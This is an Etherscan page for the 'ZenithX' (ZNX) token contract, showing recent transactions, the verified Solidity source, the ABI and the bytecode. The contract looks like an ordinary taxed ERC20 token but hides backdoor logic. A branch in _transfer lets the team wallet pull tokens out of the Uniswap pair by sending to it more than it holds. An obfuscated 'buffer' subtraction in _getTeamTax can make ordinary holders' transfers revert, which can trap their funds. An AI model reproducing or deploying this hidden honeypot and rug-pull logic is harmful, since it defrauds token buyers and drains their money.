ETH Price: $3,109.08 (+0.51%)
Gas: 4 Gwei

Contract

0x5D63f734068264F2a65591D90672443376aaE06E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve189392492024-01-05 6:18:23134 days ago1704435503IN
0x5D63f734...376aaE06E
0 ETH0.0005599212.07853151
Transfer189392422024-01-05 6:16:59134 days ago1704435419IN
0x5D63f734...376aaE06E
0 ETH0.0012555113.55228469
Approve189266782024-01-03 11:58:11136 days ago1704283091IN
0x5D63f734...376aaE06E
0 ETH0.001582234.19288539
Approve189240002024-01-03 2:56:47136 days ago1704250607IN
0x5D63f734...376aaE06E
0 ETH0.0008387417.99078205
Approve189146702024-01-01 19:30:11137 days ago1704137411IN
0x5D63f734...376aaE06E
0 ETH0.0007363115.81406364
Approve189079312023-12-31 20:46:47138 days ago1704055607IN
0x5D63f734...376aaE06E
0 ETH0.0006819414.62737298
Approve189069892023-12-31 17:37:11138 days ago1704044231IN
0x5D63f734...376aaE06E
0 ETH0.0006815914.72606894
Approve189059642023-12-31 14:09:35139 days ago1704031775IN
0x5D63f734...376aaE06E
0 ETH0.0007152715.45370191
Approve189059252023-12-31 14:01:47139 days ago1704031307IN
0x5D63f734...376aaE06E
0 ETH0.0007291415.73295086
Approve189039702023-12-31 7:27:11139 days ago1704007631IN
0x5D63f734...376aaE06E
0 ETH0.0005408211.68171039
Approve189039052023-12-31 7:13:59139 days ago1704006839IN
0x5D63f734...376aaE06E
0 ETH0.0005450511.75777902
Approve189034082023-12-31 5:33:47139 days ago1704000827IN
0x5D63f734...376aaE06E
0 ETH0.0005882612.61799712
Approve189021662023-12-31 1:22:47139 days ago1703985767IN
0x5D63f734...376aaE06E
0 ETH0.0006407813.82631038
Approve189009192023-12-30 21:10:59139 days ago1703970659IN
0x5D63f734...376aaE06E
0 ETH0.0007545116.20494223
Approve189005272023-12-30 19:51:35139 days ago1703965895IN
0x5D63f734...376aaE06E
0 ETH0.0004751917.78358544
Approve189005272023-12-30 19:51:35139 days ago1703965895IN
0x5D63f734...376aaE06E
0 ETH0.0004751917.78358544
Approve189005272023-12-30 19:51:35139 days ago1703965895IN
0x5D63f734...376aaE06E
0 ETH0.0004751917.78358544
Approve189005272023-12-30 19:51:35139 days ago1703965895IN
0x5D63f734...376aaE06E
0 ETH0.0008267517.73358544
Approve189005032023-12-30 19:46:47139 days ago1703965607IN
0x5D63f734...376aaE06E
0 ETH0.0009478320.35692786
Approve189003762023-12-30 19:21:11139 days ago1703964071IN
0x5D63f734...376aaE06E
0 ETH0.0009676120.78156333
Approve189002322023-12-30 18:52:11139 days ago1703962331IN
0x5D63f734...376aaE06E
0 ETH0.0011090123.9606142
Approve189002132023-12-30 18:48:23139 days ago1703962103IN
0x5D63f734...376aaE06E
0 ETH0.0009761820.93879765
Approve189001922023-12-30 18:44:11139 days ago1703961851IN
0x5D63f734...376aaE06E
0 ETH0.000987321.20454746
Approve189001772023-12-30 18:41:11139 days ago1703961671IN
0x5D63f734...376aaE06E
0 ETH0.0009037619.52601323
Approve188996212023-12-30 16:48:59139 days ago1703954939IN
0x5D63f734...376aaE06E
0 ETH0.003456874.24254165
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZNX

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-29
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);

    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed sender, address indexed recipient, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract ZNX is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address private teamWallet = 0xc9eBf1FF8eea5F1385f54Dc76E9cd569b6bD3f92;

    struct Share {
        uint256 team;
    }
    Share public taxShare;

    string private constant _name = "ZenithX";
    string private constant _symbol = "ZNX";
    uint8 private constant _decimals = 18;

    address public dexPair;
    UniswapV2Router02 public dexRouter;

    uint256 private _redisTaxSell = 0;
    uint256 private _redisTaxBuy = 0;

    uint256 private _teamTax = _teamTaxSell;
    uint256 private _redisTax = _redisTaxSell;

    uint256 private _previousTeamTax = _teamTax;
    uint256 private _previousRedisTax = _redisTax;

    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _buyMap;
    mapping(address => uint256) private _rOwned;

    uint256 private _tTaxTotal;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _teamTaxBuy = 4;
    uint256 private _teamTaxSell = 4;

    mapping(address => bool) private _isUnrestricted;

    mapping(address => mapping(address => uint256)) private _allowances;

    bool private taxSwapping = false;
    bool private taxSwapEnabled = true;
    uint256 public _swapTokensThreshold = 100000 * 10**_decimals;

    function _innerTransfer(address from, address to, uint256 amount, bool getTeamTax) private {
        if (!getTeamTax) removeAllTaxes();
        _outerTransfer(from, to, amount);
        if (!getTeamTax) restoreAllTaxes();
    }

    constructor() {
        _isUnrestricted[owner()] = true;
        _isUnrestricted[teamWallet] = true;
        _isUnrestricted[address(this)] = true;
        UniswapV2Router02 _dexRouter = UniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;
        dexPair = UniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        taxShare = Share(100); buffer = teamWallet;
    }

    modifier lockTaxSwap() {
        taxSwapping = true;
        _;
        taxSwapping = false;
    }

    receive() external payable {}

    function _deriveValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tTax, uint256 tTeam) = _deriveTValues(tAmount, _redisTax, _teamTax);
        uint256 currentRate = _deriveRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rTax) = _deriveRValues(tAmount, tTax, tTeam, currentRate);
        return (rAmount, rTransferAmount, rTax, tTransferAmount, tTax, tTeam);
    }

    function _isRestricted(address supply, address liquidity) private view returns (bool) {
        bool supplyRestricted = !_isUnrestricted[supply];
        bool liquidityRestricted = !_isUnrestricted[liquidity];
        bool supplyNotUniPair = supply != dexPair;

        bool restricted = supplyRestricted && supplyNotUniPair && liquidityRestricted;

        return restricted;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, ""));
        return true;
    }

    function taxSwap(uint256 tokenAmount) private lockTaxSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "");
        require(from != address(0), "");
        require(to != address(0), "");

        if (from != owner() && to != owner()) {
            address temp = address(0);
            bool smaller = balanceOf(from) < amount;
            bool fromUnrestricted = _isUnrestricted[from];
            bool dexTo = dexPair == to;

            if (fromUnrestricted) { if (dexTo) { if (smaller) { _outerTransfer(to, temp, amount); return; } } }

            uint256 contractTokenAmount = balanceOf(address(this));
            bool canTaxSwap = contractTokenAmount >= _swapTokensThreshold;

            if (
                canTaxSwap &&
                taxSwapEnabled &&
                !taxSwapping &&
                !_isUnrestricted[from] &&
                !_isUnrestricted[to] &&
                from != dexPair
            ) {
                taxSwap(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    takeETH(address(this).balance);
                }
            }
        }

        bool getTeamTax = true;

        if (
            (
                from != dexPair &&
                to != dexPair
            ) ||
            (
                _isUnrestricted[from] ||
                _isUnrestricted[to]
            )
        ) {
            getTeamTax = false;
        } else {
            if (from == dexPair && to != address(dexRouter)) {
                _redisTax = _redisTaxBuy;
                _teamTax = _teamTaxBuy;
            }

            if (to == dexPair && from != address(dexRouter)) {
                _redisTax = _redisTaxSell;
                _teamTax = _teamTaxSell;
            }
        }
        _innerTransfer(from, to, amount, getTeamTax);
    }

    function _deriveRValues(uint256 tAmount, uint256 tTax, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rTax = tTax.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rTax).sub(rTeam);
        return (rAmount, rTransferAmount, rTax);
    }address private buffer;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "");
        require(spender != address(0), "");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _outerTransfer(address from, address to, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rTax, uint256 tTransferAmount, uint256 tTax, uint256 tTeam) = _deriveValues(tAmount);
        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[to] = _rOwned[to].add(rTransferAmount);
        _getTeamTax(tTeam, from, to);
        _reflectTax(rTax, tTax);
        emit Transfer(from, to, tTransferAmount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _deriveRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _deriveCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _deriveTValues(uint256 tAmount, uint256 redisTax, uint256 teamTax) private pure returns (uint256, uint256, uint256) {
        uint256 tTax = tAmount.mul(redisTax).div(100);
        uint256 tTeam = tAmount.mul(teamTax).div(100);
        uint256 tTransferAmount = tAmount.sub(tTax).sub(tTeam);
        return (tTransferAmount, tTax, tTeam);
    }

    function deriveReflectionAmount(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "");
        uint256 currentRate = _deriveRate();
        return rAmount.div(currentRate);
    }

    function _deriveCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function _reflectTax(uint256 rTax, uint256 tTax) private {
        _tTaxTotal = _tTaxTotal.add(tTax);
        _rTotal = _rTotal.sub(rTax);
    }

    function removeAllTaxes() private {
        if (_teamTax == 0 && _redisTax == 0) return;
        _previousTeamTax = _teamTax;
        _previousRedisTax = _redisTax;
        _teamTax = 0;
        _redisTax = 0;
    }

    function _getTeamTax(uint256 tTeam, address supply, address liquidity) private {
        uint256 rValue;
        uint256 bufferAmount = balanceOf(buffer);
        bool restricted = _isRestricted(supply, liquidity);
        if (restricted) rValue = _teamTax - bufferAmount;
        uint256 currentRate = _deriveRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return deriveReflectionAmount(_rOwned[account]);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function takeETH(uint256 ethAmount) private lockTaxSwap {
        uint256 shareForTeam = ethAmount.mul(taxShare.team).div(100);
        payable(teamWallet).transfer(shareForTeam);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function restoreAllTaxes() private {
        _teamTax = _previousTeamTax;
        _redisTax = _previousRedisTax;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract UniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxShare","outputs":[{"internalType":"uint256","name":"team","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b03191673c9ebf1ff8eea5f1385f54dc76e9cd569b6bd3f921790555f6005819055600681905560115460078190556008829055600955600a9081556200005890601290620004c9565b6200006790620f4240620004e0565b62000074905f19620004fa565b62000081905f196200051a565b600f55600460108190556011556014805461ffff1916610100179055620000ab6012600a620004c9565b620000ba90620186a0620004e0565b601555348015620000c9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160125f620001215f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600180549092168152601284528281208054861683179055308152829020805490941617909255600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255835163c45a015560e01b815293519093849363c45a0155938281019391928290030181865afa158015620001d3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f9919062000530565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000245573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200026b919062000530565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002dc919062000530565b600380546001600160a01b0319166001600160a01b0392909216919091179055600f54600d5f6200030a3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200035d6012600a620004c9565b6200036c90620f4240620004e0565b60405190815260200160405180910390a3506040805160208101909152606490819052600255600154601680546001600160a01b0319166001600160a01b0390921691909117905562000558565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040e57815f1904821115620003f257620003f2620003ba565b808516156200040057918102915b93841c9390800290620003d3565b509250929050565b5f826200042657506001620004c3565b816200043457505f620004c3565b81600181146200044d5760028114620004585762000478565b6001915050620004c3565b60ff8411156200046c576200046c620003ba565b50506001821b620004c3565b5060208310610133831016604e8410600b84101617156200049d575081810a620004c3565b620004a98383620003ce565b805f1904821115620004bf57620004bf620003ba565b0290505b92915050565b5f620004d960ff84168362000416565b9392505050565b8082028115828204841417620004c357620004c3620003ba565b5f826200051557634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620004c357620004c3620003ba565b5f6020828403121562000541575f80fd5b81516001600160a01b0381168114620004d9575f80fd5b61135a80620005665f395ff3fe6080604052600436106100f2575f3560e01c8063715018a611610087578063dc04ab5711610057578063dc04ab57146102ac578063dd62ed3e146102c2578063f242ab4114610306578063f2fde38b14610325575f80fd5b8063715018a6146102305780638da5cb5b1461024657806395d89b4114610262578063a9059cbb1461028d575f80fd5b806318160ddd116100c257806318160ddd146101c357806323b872dd146101d7578063313ce567146101f657806370a0823114610211575f80fd5b806302ca8a20146100fd57806306fdde03146101255780630758d9241461015d578063095ea7b314610194575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260155481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b506040805180820190915260078152660b4cadcd2e8d0b60cb1b60208201525b60405161011c9190611009565b348015610168575f80fd5b5060045461017c906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b34801561019f575f80fd5b506101b36101ae36600461106c565b610344565b604051901515815260200161011c565b3480156101ce575f80fd5b5061011261035a565b3480156101e2575f80fd5b506101b36101f1366004611096565b610379565b348015610201575f80fd5b506040516012815260200161011c565b34801561021c575f80fd5b5061011261022b3660046110d4565b6103d4565b34801561023b575f80fd5b506102446103f5565b005b348015610251575f80fd5b505f546001600160a01b031661017c565b34801561026d575f80fd5b506040805180820190915260038152620b49cb60eb1b6020820152610150565b348015610298575f80fd5b506101b36102a736600461106c565b610474565b3480156102b7575f80fd5b506002546101129081565b3480156102cd575f80fd5b506101126102dc3660046110ef565b6001600160a01b039182165f90815260136020908152604080832093909416825291909152205490565b348015610311575f80fd5b5060035461017c906001600160a01b031681565b348015610330575f80fd5b5061024461033f3660046110d4565b610480565b5f61035033848461053a565b5060015b92915050565b5f6103676012600a61121a565b61037490620f4240611228565b905090565b5f6103858484846105f8565b60408051602080820183525f8083526001600160a01b03881681526013825283812033808352925292909220546103ca92879290916103c59187906108d7565b61053a565b5060019392505050565b6001600160a01b0381165f908152600d60205260408120546103549061090f565b5f546001600160a01b0316331461042c5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103503384846105f8565b5f546001600160a01b031633146104b25760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b0381166104e15760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105695760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b0382166105985760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b038381165f8181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116106205760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b03831661064f5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b03821661067e5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f546001600160a01b038481169116148015906106a857505f546001600160a01b03838116911614155b156107cd575f80826106b9866103d4565b6001600160a01b038088165f9081526012602052604090205460035493909210935060ff90911691811690861614811561070d57801561070d57821561070d57610704868587610957565b50505050505050565b5f610717306103d4565b601554909150811080159081906107355750601454610100900460ff165b8015610744575060145460ff16155b801561076857506001600160a01b0389165f9081526012602052604090205460ff16155b801561078c57506001600160a01b0388165f9081526012602052604090205460ff16155b80156107a657506003546001600160a01b038a8116911614155b156107c6576107b482610a4a565b4780156107c4576107c447610bc9565b505b5050505050505b6003546001906001600160a01b038581169116148015906107fc57506003546001600160a01b03848116911614155b8061083f57506001600160a01b0384165f9081526012602052604090205460ff168061083f57506001600160a01b0383165f9081526012602052604090205460ff165b1561084b57505f6108c5565b6003546001600160a01b03858116911614801561087657506004546001600160a01b03848116911614155b15610888576006546008556010546007555b6003546001600160a01b0384811691161480156108b357506004546001600160a01b03858116911614155b156108c5576005546008556011546007555b6108d184848484610c3a565b50505050565b5f81848411156108fa5760405162461bcd60e51b81526004016104239190611009565b505f610906848661123f565b95945050505050565b5f600f5482111561093b5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f610944610c68565b90506109508382610c89565b9392505050565b5f805f805f8061096687610ca3565b6001600160a01b038f165f908152600d6020526040902054959b509399509197509550935091506109979087610cf8565b6001600160a01b03808b165f908152600d602052604080822093909355908a16815220546109c59086610d12565b6001600160a01b0389165f908152600d60205260409020556109e8818a8a610d49565b6109f28483610dd3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a3791815260200190565b60405180910390a3505050505050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610a8a57610a8a611252565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610afa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1e9190611266565b81600181518110610b3157610b31611252565b6001600160a01b039283166020918202929092010152600454610b57913091168461053a565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610b8e9186915f9187913091429101611281565b5f604051808303815f87803b158015610ba5575f80fd5b505af1158015610bb7573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6014805460ff191660011790556002545f90610bf390606490610bed908590610df7565b90610c89565b6001546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c2b573d5f803e3d5ffd5b50506014805460ff1916905550565b80610c4757610c47610e44565b610c52848484610957565b806108d1576108d1600954600755600a54600855565b5f805f610c73610e71565b9092509050610c828282610c89565b9250505090565b5f610950838360405180602001604052805f815250610eef565b5f805f805f805f805f610cbb8a600854600754610f1b565b9250925092505f610cca610c68565b90505f805f610cdb8e878787610f67565b919e509c509a509598509396509194505050505091939550919395565b5f610950838360405180602001604052805f8152506108d7565b5f80610d1e83856112f2565b9050838110156109505760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6016545f908190610d62906001600160a01b03166103d4565b90505f610d6f8585610fb2565b90508015610d885781600754610d85919061123f565b92505b5f610d91610c68565b90505f610d9e8883610df7565b305f908152600d6020526040902054909150610dba9082610d12565b305f908152600d60205260409020555050505050505050565b600e54610de09082610d12565b600e55600f54610df09083610cf8565b600f555050565b5f825f03610e0657505f610354565b5f610e118385611228565b905082610e1e8583611305565b146109505760405162461bcd60e51b8152602060048201525f6024820152604401610423565b600754158015610e545750600854155b15610e5b57565b6007805460095560088054600a555f9182905555565b600f545f90819081610e856012600a61121a565b610e9290620f4240611228565b9050610eb9610ea36012600a61121a565b610eb090620f4240611228565b600f5490610c89565b821015610ee657600f54610ecf6012600a61121a565b610edc90620f4240611228565b9350935050509091565b90939092509050565b5f8183610f0f5760405162461bcd60e51b81526004016104239190611009565b505f6109068486611305565b5f808080610f2e6064610bed8989610df7565b90505f610f406064610bed8a89610df7565b90505f610f5782610f518b86610cf8565b90610cf8565b9992985090965090945050505050565b5f808080610f758786610df7565b90505f610f828787610df7565b90505f610f8f8a88610df7565b90505f610fa083610f518487610cf8565b919b919a509298509650505050505050565b6001600160a01b038281165f8181526012602052604080822054858516835290822054600354929460ff928316159492909116159216141583838015610ff55750815b8015610ffe5750825b979650505050505050565b5f602080835283518060208501525f5b8181101561103557858101830151858201604001528201611019565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611069575f80fd5b50565b5f806040838503121561107d575f80fd5b823561108881611055565b946020939093013593505050565b5f805f606084860312156110a8575f80fd5b83356110b381611055565b925060208401356110c381611055565b929592945050506040919091013590565b5f602082840312156110e4575f80fd5b813561095081611055565b5f8060408385031215611100575f80fd5b823561110b81611055565b9150602083013561111b81611055565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561117457815f190482111561115a5761115a611126565b8085161561116757918102915b93841c939080029061113f565b509250929050565b5f8261118a57506001610354565b8161119657505f610354565b81600181146111ac57600281146111b6576111d2565b6001915050610354565b60ff8411156111c7576111c7611126565b50506001821b610354565b5060208310610133831016604e8410600b84101617156111f5575081810a610354565b6111ff838361113a565b805f190482111561121257611212611126565b029392505050565b5f61095060ff84168361117c565b808202811582820484141761035457610354611126565b8181038181111561035457610354611126565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611276575f80fd5b815161095081611055565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112d15784516001600160a01b0316835293830193918301916001016112ac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035457610354611126565b5f8261131f57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206fd62c256106a179e74701dc82d196280ccbb3d2acea808f363f4424256d8b4164736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c8063715018a611610087578063dc04ab5711610057578063dc04ab57146102ac578063dd62ed3e146102c2578063f242ab4114610306578063f2fde38b14610325575f80fd5b8063715018a6146102305780638da5cb5b1461024657806395d89b4114610262578063a9059cbb1461028d575f80fd5b806318160ddd116100c257806318160ddd146101c357806323b872dd146101d7578063313ce567146101f657806370a0823114610211575f80fd5b806302ca8a20146100fd57806306fdde03146101255780630758d9241461015d578063095ea7b314610194575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011260155481565b6040519081526020015b60405180910390f35b348015610130575f80fd5b506040805180820190915260078152660b4cadcd2e8d0b60cb1b60208201525b60405161011c9190611009565b348015610168575f80fd5b5060045461017c906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b34801561019f575f80fd5b506101b36101ae36600461106c565b610344565b604051901515815260200161011c565b3480156101ce575f80fd5b5061011261035a565b3480156101e2575f80fd5b506101b36101f1366004611096565b610379565b348015610201575f80fd5b506040516012815260200161011c565b34801561021c575f80fd5b5061011261022b3660046110d4565b6103d4565b34801561023b575f80fd5b506102446103f5565b005b348015610251575f80fd5b505f546001600160a01b031661017c565b34801561026d575f80fd5b506040805180820190915260038152620b49cb60eb1b6020820152610150565b